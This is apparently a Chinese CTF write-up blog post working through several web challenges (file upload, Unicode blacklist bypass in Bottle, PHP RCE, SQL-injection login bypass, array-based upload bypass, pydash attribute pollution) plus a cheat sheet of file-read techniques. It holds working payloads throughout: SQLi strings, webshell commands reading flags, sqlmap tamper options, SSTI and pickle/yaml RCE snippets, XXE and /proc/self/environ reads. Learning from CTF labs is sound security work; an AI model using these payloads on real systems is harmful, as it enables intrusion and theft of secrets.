题目好新,我好废物,总是卡在一个点上过不去,我还年轻,还菜的起
b@by n0t1ce b0ard
1 |
|
1 | $r=mysqli_num_rows($sql); |
查询[CVE-2024-12233]是任意文件上传漏洞
网上搜集到的有一个字符串ffifdyop很特殊
1 | echo md5("ffifdyop",true); |
来这道题试验一下
好吧,输入正确密码也是会失效,没有考这个点
目录遍历失败,有过滤
直接上传一个webshell
1 |
|
1. find /
find:Linux 中强大的查找命令。/:表示从根目录开始搜索(即整个文件系统)。
2. -name "flag*"
-name:指定要匹配的文件名模式。"flag*":表示查找所有名字以 “flag” 开头的文件或目录。*是通配符,代表“任意字符”。
3. 2>/dev/null
- 这是一个重定向操作。
2>:表示将标准错误输出(stderr)重定向到某个地方。/dev/null:是一个“黑洞”设备,任何写入它的数据都会被丢弃。- 作用:在搜索过程中,系统可能会因为权限不足而报错(比如无法进入
/root或/proc),这些错误信息会干扰你查看真正的结果。加上2>/dev/null就是为了屏蔽所有错误信息,只显示成功找到的文件。
还访问到了另一个世界

还想xss注入
为什么三天后复现没有了???
反正xss没成功
难过的bottle
题目把除了flag之外的所有字母都禁止了,提示文件名一定是flag
bottle框架可以斜体绕过
由于python本⾝存在的特性(并⾮bottle等框架特有),所以此
处可以直接使⽤斜体字来进⾏⿊名单的绕过
- 如果在源代码的 UTF-8 表示中发现非 ASCII 字符,则进行正向扫描以找到第一个 ASCII 非标识符字符(例如空格或标点符号)。
- 整个 UTF-8 字符串会被传递给一个函数,该函数会将字符串规范化为 NFKC 格式,然后验证其是否符合标识符语法。纯 ASCII 标识符则不会进行此类调用,因为它们仍按目前的方式进行解析。Unicode 数据库必须开始包含 Other_ID_{Start|Continue} 属性。
只要你输入的非 ASCII 字符存在于 python 的 Unicode 数据库,那么就会有一个函数会将该字符规范化为 NFKC 格式,以便后面的使用。
所谓的**“一个函数”**,这个”函数”指的是 Python 解释器在词法分析(lexical analysis) 阶段内部调用的规范化处理机制。这个过程主要由 Python 的解释器核心实现,并不是一个直接暴露给用户的独立函数。官方文档里并没有列出来,但是我还是找到了一个类似作用的方法,就是 unicodedata 库的 normalize 方法:
1
2
3
4
5
6
7
8
9 import unicodedata
str0 = "ᵖrint(1)"
str1 = unicodedata.normalize('NFKC', str0)
print(f"原字符串: {str0}")
print(f"规范化后字符串: {str1}")
exec(str1)上面的代码会输出:
1
2
3 原字符串: ᵖrint(1)
规范化后字符串: print(1)
1如果你输入的字符过于 “特殊”,不存在于python 的 Unicode 数据库里,那么就会转化失败:
1
2
3
4
5
6
7
8
9 import unicodedata
str0 = "priñt(1)"
str1 = unicodedata.normalize('NFKC', str0)
print(f"原字符串: {str0}")
print(f"规范化后字符串: {str1}")
exec(str1)这段代码会报错:
image-20250916194127141
运用
假设有这样的一段代码:
1
2
3
4
5
6
7
8 import string
a = input()
for i in string.ascii_letters:
if i in a:
exit(0)
exec(a)这里不允许[a-zA-Z]的字符出现,那么就可以特殊的 unicode 字符解析特性绕过:
1 ºˢ=ˢᵗʳⁱⁿᵍ.ªˢᶜⁱⁱ_ˡºʷᵉʳᶜªˢᵉ[14]+ˢᵗʳⁱⁿᵍ.ªˢᶜⁱⁱ_ˡºʷᵉʳᶜªˢᵉ[18];ᵖʳⁱⁿᵗ(ª);ʷʰºªᵐⁱ=ˢᵗʳⁱⁿᵍ.ªˢᶜⁱⁱ_ˡºʷᵉʳᶜªˢᵉ[22]+ˢᵗʳⁱⁿᵍ.ªˢᶜⁱⁱ_ˡºʷᵉʳᶜªˢᵉ[7]+ˢᵗʳⁱⁿᵍ.ªˢᶜⁱⁱ_ˡºʷᵉʳᶜªˢᵉ[14]+ˢᵗʳⁱⁿᵍ.ªˢᶜⁱⁱ_ˡºʷᵉʳᶜªˢᵉ[0]+ˢᵗʳⁱⁿᵍ.ªˢᶜⁱⁱ_ˡºʷᵉʳᶜªˢᵉ[12]+ˢᵗʳⁱⁿᵍ.ªˢᶜⁱⁱ_ˡºʷᵉʳᶜªˢᵉ[8];__ⁱᵐᵖºʳᵗ__(ºˢ).ˢʸˢᵗᵉᵐ(ʷʰºªᵐⁱ)image-20250916201053906
ok,那又有小伙伴说了,这么多特殊字符我去哪找呢?找到了一个一个替换多麻烦?
可以用这个网站来查询:https://www.compart.com/en/unicode/
我也在这里给大家准备了脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34 unicode_str_dict = {"a":"ª",
"b":"ᵇ",
"c":"ᶜ",
"d":"ᵈ",
"e":"ᵉ",
"f":"ᶠ",
"g":"ᵍ",
"h":"ʰ",
"i":"ⁱ",
"j":"ⱼ",
"k":"ᵏ",
"l":"ˡ",
"m":"ᵐ",
"n":"ⁿ",
"o":"º",
"p":"ᵖ",
"q":"q",
"r":"ʳ",
"s":"ˢ",
"t":"ᵗ",
"u":"ᵘ",
"v":"ᵛ",
"w":"ʷ",
"x":"ˣ",
"y":"ʸ",
"z":"ᶻ"
}
str0 = "os=string.ascii_lowercase[14]+string.ascii_lowercase[18];print(a);whoami=string.ascii_lowercase[22]+string.ascii_lowercase[7]+string.ascii_lowercase[14]+string.ascii_lowercase[0]+string.ascii_lowercase[12]+string.ascii_lowercase[8];__import__(os).system(whoami)"
for s in str0:
if s in unicode_str_dict:
str0 = str0.replace(s, unicode_str_dict[s])
print(str0)如果出题人不想让别人使用这个特性,只需要使用unicodedata.normalize方法来规范化一下用户的输入即可:
1
2
3
4
5
6
7
8
9
10 import string
import unicodedata
a = unicodedata.normalize('NFKC', input())
for i in string.ascii_letters:
if i in a:
print("Hacker!")
exit(0)
exec(a)
1 |
|
直接查找flag
1 | {{𝑜𝑝𝑒𝑛('/flag').𝑟𝑒𝑎𝑑()}} |
来签个到吧
ezrce
1 |
|
/?code=print_r(chdir(dirname(FILE)));
/?code=chdir(dirname(dirname(FILE)));print_r(file_get_contents(flag));
?code=print_r(getenv(flag));
?code=print_r(scandir(DIRECTORY_SEPARATOR));
?code=chdir(DIRECTORY_SEPARATOR);print_r(file_get_contents(flag));
flag到底在哪
403 Forbidden 错误的含义:服务器理解请求,但拒绝执行。通常与权限、IP限制、User-Agent过滤等有关。
403 与 404 的区别:403 是“禁止访问”,404 是“未找到资源”。这提示攻击者目标可能存在,只是被拦截了。
访问控制机制:如 .htaccess、Nginx/Apache 配置、后端框架中间件等对路径或IP的限制
爬虫与反爬机制
- 爬虫特征识别:
- User-Agent 检测(是否为常见浏览器)
- 请求频率限制
- 是否携带 Referer、Cookie 等头部
- 绕过反爬策略:
- 修改 User-Agent 为正常浏览器标识
- 添加合法 Referer
- 使用代理或延迟请求
- 模拟登录或获取合法会话
访问robots.txt
访问admin/login.php
xff,弱密码爆破和sql注入都失败了
还用dir扫描了一下
但是后面上新了hint,原来注入点不在用户名,但是为什么用户名住不进去,密码全部大写就可以住进去呢
假设后端代码是:
1 | SELECT * FROM users WHERE username = '$username' AND password = '$password'; |
需要让 $password 的值变成类似:
1 | ' OR '1'='1 |
这样整个查询就变成了:
1 | SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; |
由于 '1'='1' 永远为真,所以整个条件为真,成功登录。
密码’ OR ‘1’='1
上传muma.php,上传成功后根据经验(好草率啊,一定是在哪里发现了源代码,但是我没找到),要在前面加个uploads目录
1 |
|
?cmd=ls -la
?cmd=find / -name "*flag*" 2>/dev/null
?cmd=cat /home/flag
flag?我就借走了
尝试构造软链接
软链接(Symbolic Link,也叫符号链接)是 类 Unix 系统(如 Linux、macOS)中一种特殊的文件类型,它本质上是一个指向另一个文件或目录的“快捷方式”。
1 | # 1. 创建指向 /flag 的软链接(名字可自定义) |
- 开头的
l表示这是一个 link(软链接)。 flag_link本身不存储数据,只存储一个字符串路径:/flag。- 当你执行
cat flag_link,系统会自动读取/flag的内容。
使用 Python 临时 HTTP 服务器(极简,无需配置)
适合临时传一个文件,比如刚生成的
payload.tar。
在 Ubuntu 虚拟机中:
1 | # 进入文件所在目录 |
在 Windows 主机浏览器中访问
1 | http://<Ubuntu虚拟机IP>:8000 |
1 | cd ~ |
安全配置会禁用符号链接解析,例如:
- PHP:
symlink()函数可能被禁用。 - Nginx:可配置
disable_symlinks on;。 - tar 解压:使用
--no-same-owner --no-same-permissions --transform等选项过滤链接。
kaqiWeaponShop
很强了,全禁止了
python sqlmap.py -u “http://challenge.bluesharkinfo.com:24356/?id=0&name=1&p=1” -D flag -T flag --columns
python sqlmap.py -u “http://challenge.bluesharkinfo.com:24356/?id=0&name=1&p=1” -p p --tamper=space2comment,randomcase,apostrophenullencode --random-agent --level=5 --risk=3
--tamper=space2comment:空格 →/**/randomcase:SELECT→SeLeCt(绕过大小写敏感过滤)apostrophenullencode:'→%00%27(绕过单引号过滤)--level=5 --risk=3:提高测试强度--random-agent:随机 UA,避免被识别为 sqlmap
尝试失败
mv_upload
00截断漏洞:
该漏洞存在于php的move_uploaded_file()函数中,这个函数一般在上传文件时被使用,用途是将上传的文件移动到新位置。
语法 1 move_uploaded_file ( string $filename , string $destination )
这次的漏洞就出现在$destination这个参数中,这个参数代表的是上传文件移动的最终目的地址。如果$destination变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。
- 如果你上传的是
muma_1.php%00.jpg,PHP 会将其解码为muma_1.php\x00.jpg。 - 然后
basename("muma_1.php\x00.jpg")→ 返回"muma_1.php\x00.jpg"(注意:\x00仍在字符串中)。 - 接着
pathinfo("muma_1.php\x00.jpg")→extension是"jpg"(因为\x00不影响pathinfo)。 - 最后
in_array('jpg', $blacklist)→false,允许上传。 - 然后
move_uploaded_file(..., "/tmp/upload/muma_1.php\x00.jpg")
➡️ 如果 PHP 版本 < 5.3.4,系统底层 C 函数看到 \x00 就截断,文件实际保存为 /tmp/upload/muma_1.php。
➡️ 如果 PHP 版本 >= 5.3.4,PHP 内核检测到 \x00,直接报错:
1 Warning: move_uploaded_file(): Null byte detected
好吧PHP 版本 >= 5.3.4
1 | <?php |
额外看题
数组绕过
网鼎杯第二场的 wafUpload
1 | <?php |
1 $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
- 功能:判断
$_POST['filename']是否为空(或为假值,如空字符串、null 等)。
- 如果为空,则使用上传文件的原始文件名
$_FILES['file']['name']。- 否则,使用用户通过 POST 提交的
filename值。- 目的:允许用户指定自定义文件名或使用上传文件自带的文件名。
1
2
3 if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
- 功能:检查
$file是否不是数组。
- 如果不是数组(说明是一个字符串文件名),则:
- 用
strtolower()将文件名转为小写(用于统一后缀判断)。- 用
explode('.', ...)按点号.分割成数组。例如"photo.JPG"→['photo', 'jpg']。- 注意:如果
$_POST['filename']是恶意构造的数组(如filename[]=xxx),is_array($file)为true,则跳过explode,直接保留数组形式。这可能成为绕过后续检查的入口(安全风险)。
1 $ext = end($file);
- 功能:获取
$file数组的最后一个元素,即文件扩展名。
- 对于
['photo', 'jpg'],end($file)返回'jpg'。- 注意:如果
$file是用户传入的数组(如['evil', 'php']),$ext就是'php';但如果用户传入的是['a.jpg', ''],$ext会是空字符串。更危险的是,如果传入多维数组或非字符串,可能导致类型错误或绕过检查。
1
2
3
4
5 if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
} else {
echo "pass 2n";
}
- 功能:检查扩展名
$ext是否在白名单['jpg', 'png', 'gif']中。
- 如果不在,立即终止脚本并输出错误信息。
- 如果在,输出
"pass 2n"(可能是调试信息,应为"pass 2",多了一个n?)。- 安全缺陷:
- 白名单仅检查扩展名,未验证文件真实内容(MIME 类型或文件头)。
- 如果
$ext是数组(例如通过filename[][0]=xxx&filename[][1]=php传参),in_array()会返回false,但更严重的是,end($file)若返回非字符串(如数组),in_array可能行为异常(PHP 8 中会报错,旧版本可能静默失败)。
1 $filename = reset($file) . '.' . $file[count($file) - 1];
- 功能:
reset($file):将数组指针重置到第一个元素并返回它(即文件主名部分)。count($file) - 1:获取数组最后一个元素的索引(等价于end($file),但这里直接用索引)。- 拼接成新文件名:
主名.扩展名。- 举例:
- 原始
$file = ['photo', 'jpg']→$filename = 'photo.jpg'。- 安全问题:
- 如果
$file是['shell.php', 'jpg'],则$filename = 'shell.php.jpg'—— 看似安全,但如果服务器配置错误(如 Apache 解析.php.jpg为 PHP),仍可执行。- 更危险的是,如果用户传入
$_POST['filename'] = "shell.php\0.jpg"(含空字符),在旧版 PHP 中可能导致截断,但现代 PHP(>=7.0)已移除空字节截断。
1 if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
- 功能:将上传的临时文件移动到目标目录
$sandbox下,文件名为$filename。
move_uploaded_file()是安全的函数,仅处理通过 HTTP POST 上传的文件(防止本地文件包含)。$sandbox应为一个预定义的、权限受限的目录(如/var/www/upload.安全总结(潜在漏洞):
扩展名检查绕过:
- 攻击者可通过
$_POST['filename'] = ["webshell", "php"]使$file为数组。end($file)得到'php',但in_array('php', ['jpg','png','gif'])为false→ 被拦截。- 但如果传
filename=webshell.php.jpg→ 分割为['webshell', 'php', 'jpg']→$ext = 'jpg'(通过检查),但$filename = 'webshell.php.jpg'。若服务器配置不当(如 Nginx/Apache 错误解析),可能执行 PHP。- 更危险的是双重扩展名或 .htaccess 上传(如果允许)。
路径/文件名注入:
若
$filename包含../,可能导致目录遍历(但此处$filename来自reset($file),通常是干净的,除非用户控制$_POST['filename']为../../../evil.jpg→ 分割后reset()仍为../../../evil→ 拼接后路径穿越)。应使用
basename()清理文件名。缺少 MIME 类型和文件内容检查:
仅靠扩展名无法阻止图片木马(如在 JPG 中嵌入 PHP 代码)。
核心知识点回顾
1. reset($array):
- 将数组内部指针指向第一个元素(按赋值顺序,不是按键名数值大小)。
- 返回该元素的值。
2. end($array):
- 将数组内部指针指向最后一个元素(同样按赋值顺序)。
- 返回该元素的值。
3. PHP 数组是有序的(有序映射):
- 即使写
$arr[2] = 'a'; $arr[1] = 'b';,数组的遍历/指针顺序是:- 第一个赋值:
$arr[2] = 'a' - 第二个赋值:
$arr[1] = 'b'
- 第一个赋值:
- 所以:
reset($arr)→'a'(对应键2)end($arr)→'b'(对应键1)count($arr)→2$arr[count($arr) - 1]→$arr[1]→'b'(这里是按数字索引取值,不是按赋值顺序)
注意:
$arr[count($arr)-1]是按键名取值,而reset/end是按赋值顺序取值。这是关键区别!
场景复现
1 | $file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename']; |
正常情况:filename=photo.png → $file = ['photo','png'] → ext='png'(通过)→ $filename = 'photo.png'。
构造 payload:
1 | POST /upload.php |
这会让 $_POST['filename'] 成为一个数组:
1 | $_POST['filename'] = [ |
但注意:PHP 处理 filename[1]=php&filename[0]=png 时,赋值顺序是先 [1] 还是先 [0]?
实际上,HTTP 参数的顺序决定数组赋值顺序。如果请求是:
1 | filename[1]=php&filename[0]=png |
那么 PHP 会先执行:
$filename[1] = 'php'$filename[0] = 'png'(这里的png起到占位作用,用来应对count)
所以数组内部顺序是:
- 第一个元素(reset 取到):
'php'(键为 1) - 第二个元素(end 取到):
'png'(键为 0)
这正是攻击的关键!
分析每一步
1 | $file = $_POST['filename']; // 是数组,跳过 explode |
1 | $ext = end($file); |
1 | $filename = reset($file) . '.' . $file[count($file) - 1]; |
reset($file)→ 第一个赋值的值 →'php'count($file)→ 2$file[count($file) - 1]→$file[1]→'php'(因为键1存在)
所以:
1 | $filename = 'php' . '.' . 'php' = 'php.php' |
→ 最终上传的文件是 php.php,而扩展名检查却通过了!
为什么 $file[1] 是 'php'?
因为 $_POST['filename'] 是:
1 | [ |
count($file) = 2count($file) - 1 = 1$file[1]→ 就是'php'
即使键 0 在数值上更小,但 $file[1] 明确存在,所以直接取到 'php'。
攻击成功的关键点
| 步骤 | 函数 | 取到的值 | 作用 |
|---|---|---|---|
end($file) |
'png' |
通过白名单检查(因为 'png' 允许) |
|
reset($file) |
'php' |
成为文件主名 | |
$file[count($file)-1] |
$file[1] = 'php' |
成为扩展名 |
→ 最终文件:php.php(WebShell)
Who am I
1 | from flask import Flask,request,render_template,redirect,url_forflask |
pydash.set_(Username,password,confirm_password)
往username种传入一个值,password中传入其属性名,confirm_password中传入更改的值,就可以改掉其属性的值
1 | import pydash |
environ 通常指的是 Linux/Unix 系统中进程的环境变量集合,具体可通过 /proc/self/environ(或 /proc/<pid>/environ)文件读取。
environ 是一个全局变量(在 C 语言中为 char **environ),它保存了当前进程的环境变量列表。
在 Linux 系统中,每个运行的进程都有一个对应的 /proc/<pid>/environ 文件,其中 <pid> 是进程 ID。
- 例如:
/proc/self/environ表示当前进程的环境变量。
该文件内容是以 null 字节(\x00)分隔的键值对,例如:
1 | HOME=/home/user |
某些题目会将 FLAG 以环境变量的形式注入到 Web 服务进程中(例如通过 Docker 的 -e FLAG=xxx 或 systemd 的 Environment 配置)。
攻击者若能读取任意文件(如通过 LFI、SSTI、反序列化、命令注入等漏洞),就可以读 /proc/self/environ 来窃取 FLAG。
例如:
1 | http://example.com/?page=/proc/self/environ |
绕过直接文件读取限制
- 有时
flag.txt被权限限制无法读,但 FLAG 被加载到环境变量中,此时读environ成为替代方案。
通过构造恶意 payload 触发 open('/proc/self/environ').read(),就读 environ 来拿 FLAG。
如何读取 /proc/self/environ?
在不同漏洞场景下:
| 漏洞类型 | 读取方式示例 |
|---|---|
| PHP LFI | ?file=/proc/self/environ |
| SSTI (Python) | {{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['open']('/proc/self/environ').read() }} |
| 命令注入 | ; cat /proc/self/environ |
| 任意文件读(Python) | open('/proc/self/environ', 'rb').read() |
-
pydash.set_未对路径做安全校验,允许设置任意属性,包括特殊属性如:__class____globals____builtins____code__
在 Web 安全(尤其是 CTF 或渗透测试)中,任意文件读取(Arbitrary File Read)是获取敏感信息(如
flag、配置、源码)的关键手段。虽然读取/proc/self/environ(环境变量)是一种常见方式,但它依赖于 FLAG 被设为环境变量,并非总是可用。以下是除环境变量外,实现任意文件读取的主流方法与技术路径,按漏洞类型分类说明:
一、直接文件包含 / 读取类漏洞
1. 本地文件包含(LFI, Local File Inclusion)
- 条件:Web 应用使用用户输入拼接文件路径(如 PHP 的
include($_GET['page']))。 - 利用:
1
2
3?page=/etc/passwd
?page=../../../etc/passwd
?page=php://filter/convert.base64-encode/resource=index.php # 读源码 - 进阶:结合日志、
/proc/self/fd/、session等实现 RCE。
2. 任意文件下载
- 如:
/download?file=report.pdf→ 改为file=../../../flag - 常见于未校验路径的下载接口。
二、模板注入类漏洞
3. 服务端模板注入(SSTI, Server-Side Template Injection)
- Python(如 Jinja2)示例:或更通用:
1
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/flag','r').read() }}
1
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
- 关键:通过模板引擎的“对象导航”能力,调用
open()、file()、os等读文件。
4. XML 外部实体注入(XXE)
- 条件:应用解析用户提供的 XML(如 PHP 的
simplexml_load_string)。 - Payload:
1
2
<data>&xxe;</data> - 可读任意文件(需解析器支持外部实体)。
三、反序列化漏洞
5. Python 反序列化(
pickle,yaml,jsonpickle等)pickle示例:→ 反序列化时会执行1
2
3
4
5import pickle
class Exploit:
def __reduce__(self):
return (open, ('/flag', 'r'))
payload = pickle.dumps(Exploit())open('/flag', 'r'),若结果被打印或回显,即可读取内容。yaml.load(不安全):1
!!python/object/apply:os.popen ["cat /flag"]
6. PHP 反序列化 +
__destruct触发文件读- 利用类中的
file_get_contents、readfile等函数,在__destruct或魔术方法中读文件并输出。
四、命令注入 / 代码执行
7. 命令注入(Command Injection)
- 若存在
system($_GET['cmd']),直接:1
2?cmd=cat /flag
?cmd=base64 /flag # 绕过关键词过滤
8. 动态代码执行(
eval、assert、create_function)- PHP:
1
?code=echo file_get_contents('/flag');
- Python(通过 SSTI 或路由参数):
1
eval("__import__('os').popen('cat /flag').read()")
五、特殊协议或封装器(Wrapper)
9. PHP 伪协议
- 前提:PHP 配置允许
php://filter:读源码(不执行)1
include('php://filter/convert.base64-encode/resource=/flag');
php://input:配合 POST 传 payload(常用于写 shell,但也可辅助读)
- 注意:
file://通常被禁,但php://filter常可用。
六、信息泄露与辅助路径
10. 读取 Web 目录文件
/flag、/flag.txt、/home/ctf/flag、/app/flag等常见位置。- 读源码找线索:
/.git/、/.svn/→ 源码泄露/robots.txt、/backup.zip→ 隐藏路径index.php~、config.php.bak→ 备份文件
11. 通过
/proc/self/fd/读已打开文件- 如果 Web 服务已打开 flag 文件(如日志、配置加载),可通过:
1
2
3/proc/self/fd/0 # stdin
/proc/self/fd/1 # stdout
/proc/self/fd/3+ # 其他文件描述符 - 需 LFI 或文件读权限。
七、数据库相关
12. MySQL
LOAD_FILE- 若存在 SQL 注入,且数据库用户有
FILE权限:1
SELECT LOAD_FILE('/flag');
- 可读任意文件(路径需绝对,且文件 <=
max_allowed_packet)。
总结:任意文件读取的“武器库”
类型 典型技术 前提条件 LFI 路径遍历、伪协议 用户可控文件路径 SSTI 对象链导航 模板引擎 + 用户输入嵌入 XXE 外部实体 XML 解析 + DTD 支持 反序列化 pickle、yaml不安全的反序列化 命令/代码执行 system、eval任意命令或代码执行 数据库 LOAD_FILESQL 注入 + FILE 权限 信息泄露 备份、版本控制 配置不当 如果
/proc/self/environ读不到 FLAG,优先尝试:LFI + php://filter读源码 → 找 flag 路径- SSTI 或反序列化 → 直接
open('/flag').read() - 命令注入 →
cat /flag - 猜常见路径:
/flag,/home/ctf/flag,/app/flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30from flask import Flask
from pydash import set_
import json
app = Flask(__name__)
class Pollute:
def __init__(self):
pass
def hello_world():
return open(__file__).read()
def Pollution():
payload = {
r"key": r"__init__.__globals__.__file__",
r"value": r"D:\html study\PyCharm Project\flask_pydash1\flag"
}
key = payload['key']
value = payload['value']
pollute = Pollute()
set_(pollute,key,value)
return "Finished pollute "
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000,debug=True)
__globals__ 是 Python 中函数对象(function object)的一个特殊属性,它指向该函数被定义时所在模块的全局命名空间(即一个字典,包含了模块级的所有全局变量、导入的模块、函数、类等)。
一、通俗理解
你可以把 __globals__ 想象成:
“这个函数出生时所处的整个世界(全局环境)的快照。”
当函数内部需要访问全局变量(如 print, os, FLAG 等)时,Python 就会去它的 __globals__ 字典里查找。
二、技术定义
- 类型:
dict(字典) - 作用:存储函数定义所在模块的全局符号表。
- 访问方式:
函数名.__globals__
示例:
1 | import os |
三、为什么 __globals__ 在安全/CTF 中很重要?
因为:
修改一个函数的
__globals__,就等于修改了它所能访问的“整个世界”。
在漏洞利用中,攻击者常通过 pydash.set_、SSTI、反序列化等手段,污染某个函数的 __globals__,从而:
- 注入恶意变量:
1
func.__globals__['FLAG'] = open('/flag').read()
- 劫持内置函数:
1
func.__globals__['__builtins__']['eval'] = malicious_func
- 实现远程代码执行(RCE)
——只要后续有代码调用该函数,或使用了被污染的全局变量。
四、在你题目中的关键应用
你的 /operate 路由允许:
1 | pydash.set_(operate, "__globals__.name", "hacker") |
这等价于:
1 | operate.__globals__['name'] = "hacker" |
而 operate.__globals__ 就是当前 Flask 应用的全局命名空间,所以:
你实际上修改了全局变量
name!
这就是“通过一个函数,间接控制全局状态”的典型手法。
五、注意事项
| 问题 | 说明 |
|---|---|
所有对象都有 __globals__ 吗? |
只有函数对象有。类、模块、字典等没有(模块有 __dict__,但不叫 __globals__) |
修改 __globals__ 会影响其他函数吗? |
会,因为多个函数可能共享同一个 __globals__(如同一模块定义的函数) |
能否修改内置函数的 __globals__? |
如 len, print 等 C 实现的内置函数,其 __globals__ 为 None 或只读 |
func.__globals__['FLAG'] = open('/flag').read()
- 获取函数
func的全局命名空间(一个字典)。 - 在其中添加(或覆盖)一个键
'FLAG',其值为读取系统文件/flag的内容。
func:任意在当前模块定义的函数(如 Flask 视图函数login,operate等)。func.__globals__:指向该函数定义所在模块的全局变量字典。open('/flag').read():立即执行,读取 flag 文件内容。- 执行后,当前模块中就多了一个全局变量
FLAG,值为 flag 内容。
- 如果后续有代码会输出或返回全局变量
FLAG(例如调试页面、错误信息、API 接口),攻击者就能直接拿到 flag。 - 即使没有直接输出,也可能通过其他漏洞(如 SSTI、反序列化)间接泄露。
✅ 这是一种被动式信息注入:把 flag “藏”进全局变量,等程序自己“说出来”。
func.__globals__['__builtins__']['eval'] = malicious_func
- 获取
func的全局命名空间。 - 在其中的
'__builtins__'(内置函数字典)里,将'eval'替换为一个自定义的恶意函数malicious_func。
__builtins__:Python 每个模块全局命名空间中都隐含存在的内置函数集合(如print,eval,open,__import__等)。- 在大多数环境中,
__builtins__是一个字典(有时是模块,但通常可当作字典操作)。
- 在大多数环境中,
eval:Python 内置函数,用于动态执行字符串代码,如eval("1+1")。malicious_func:攻击者定义的函数,例如:1
2
3def malicious_func(code):
import os
return os.popen(code).read()
- 任何后续调用
eval(...)的地方,实际都会执行malicious_func(...)。 - 如果 Web 应用中存在 动态代码执行点(如开发者误用
eval(request.args.get('cmd'))),原本可能只是有限执行,现在就变成任意命令执行(RCE)。 - 即使没有显式调用
eval,某些模板引擎、反序列化库、配置加载器内部也可能间接使用eval或类似机制。
✅ 这是一种主动式行为劫持:把“计算器”换成“炸弹”,等别人一按就爆炸。
三、为什么能通过 func.__globals__ 做到这些?
因为:
- 所有在同一模块定义的函数,共享同一个
__globals__字典。 - 修改
func.__globals__,就等于修改了整个模块的全局环境。 - 这相当于:你不是在改一个函数,而是在篡改整个程序的“世界观”。
例如:
1 | # 原本 |
/operate 路由允许:
1 | pydash.set_(operate, "__globals__.FLAG", open('/flag').read()) |
但注意:open('/flag').read() 是服务端执行的表达式,不能通过 HTTP 字符串传入。
所以实际利用分两步:
方案 A:如果能执行任意 Python 代码(如通过 SSTI)
- 先用 SSTI 执行:
1
func.__globals__['FLAG'] = __import__('os').popen('cat /flag').read()
- 再访问某个会输出全局变量的接口(如
/debug)。
方案 B:如果只能传字符串(如你的 /operate)
- 无法直接执行
open(),但可以:然后希望程序某处用1
/operate?username=operate&password=__globals__.FLAG_PATH&confirm_password=/flag
FLAG_PATH读文件。
总结
| 代码 | 类型 | 作用 | 利用前提 |
|---|---|---|---|
func.__globals__['FLAG'] = open('/flag').read() |
信息注入 | 将 flag 注入全局变量 | 能执行任意代码 |
func.__globals__['__builtins__']['eval'] = malicious_func |
函数劫持 | 将 eval 变成后门 |
后续会调用 eval |
为什么在
/operate路由中,password和confirm_password只能传入字符串?
根本原因:HTTP 协议 + Flask 的请求解析机制
/operate 路由使用的是 HTTP GET 请求,并从 URL 查询参数中提取数据:
1 |
|
request.args.get() 的行为:
- 它解析的是 URL 查询字符串(query string),例如:
1
/operate?username=operate&password=__globals__.name&confirm_password=admin
- 所有参数值在 HTTP 协议中都是字符串(无论你写
123还是true,Flask 都视为字符串)。 request.args.get()不会自动反序列化(不像request.json会解析 JSON 结构)。
📌 因此:
password和confirm_password的类型永远是str。
发送:
1 | GET /operate?username=operate&password=__globals__.FLAG&confirm_password=open('/flag').read() |
在服务端,Python 实际得到的是:
1 | username = "operate" # str |
然后执行:
1 | pydash.set_(operate, "__globals__.FLAG", "open('/flag').read()") |
这行代码的效果是:
1 | operate.__globals__["FLAG"] = "open('/flag').read()" |
即:把 FLAG 设为一个字符串 "open('/flag').read()",而不是执行它并赋值结果!
为什么不能传“函数”或“表达式”?
- HTTP 本身不支持传输“函数对象”。
- Flask 的
request.args也不提供自动求值(eval)功能(那样会极其危险)。 - 所以,无法通过 GET 参数传递可执行代码,只能传递“字面量字符串”。
这就是为什么说:在
/operate路由中,你只能“写字符串”,不能“写代码”。
✅ 那什么时候能传非字符串?
只有当请求体是 结构化数据 时,例如:
1. JSON 请求(POST + application/json)
1 | data = request.get_json() |
2. 表单数据(POST + x-www-form-urlencoded)
- 仍然是字符串,但可通过
type=int转换(但函数不行)
3. Pickle / YAML / XML(不安全反序列化)
- 可构造对象,但你的题目没用这些
因为 /operate 只接受 GET 查询参数,所以:
- 能控制 路径字符串(如
"__globals__.name") - 能控制 写入的值(但只能是字符串,如
"admin") - 不能传入:
- 函数(如
lambda: ...) - 表达式(如
open('/flag').read()) - 对象(如
os模块)
既然只能写字符串,就要寻找“字符串被当作代码执行”的地方,例如:
- 污染一个会被
eval/exec的变量 - 污染模板变量,通过 SSTI 执行
- 污染文件路径变量,诱导程序读取
/flag
(如修改__file__,但无后续读取)
✅ 总结
| 问题 | 答案 |
|---|---|
为什么 /operate 只能传字符串? |
因为它用 request.args.get() 读取 URL 参数,HTTP 查询参数只能是字符串 |
| 能否传函数或表达式? | 不能,除非服务端主动 eval()(但你的代码没有) |
| 如何在这种限制下利用? | 写字符串到会被程序“误用”的地方(如文件路径、模板名、配置项) |
如果 point 被当作模板内容(而非模板文件名)
但代码是:
1 | return render_template(point) |
→ 这是渲染模板文件,不是直接执行 point 为模板代码。
ezpop
1 |
|
我构造的
O:5:“begin”:2:{s:4:“var1”;r:1;s:4:“var2”;O:5:“flaag”:2:{s:5:“var10”;O:6:“eenndd”:1:{s:7:“command”;s:9:“phpinfo()”;}s:5:“var11”;s:32:“9b451deb7d4a0629b07ae660379afbef”;}}
尝试失败
include_upload
“include” 通常指 PHP 的 include()、require()、include_once()、require_once() 等函数。这些函数会动态加载并执行指定文件的内容。
上传后的文件可被 include 包含
- 比如页面有类似:
include($_GET['page'] . '.php'); - 或者存在 LFI(本地文件包含)漏洞,可以包含上传的文件
上传的是“干净”的图片(无 PHP 代码),说明服务端不检查内容是否含 PHP(否则会拦截)。
但上传后,系统回显这句话,暗示你:“别在上传上纠结了,去想想怎么让这个文件被 include 进来!”
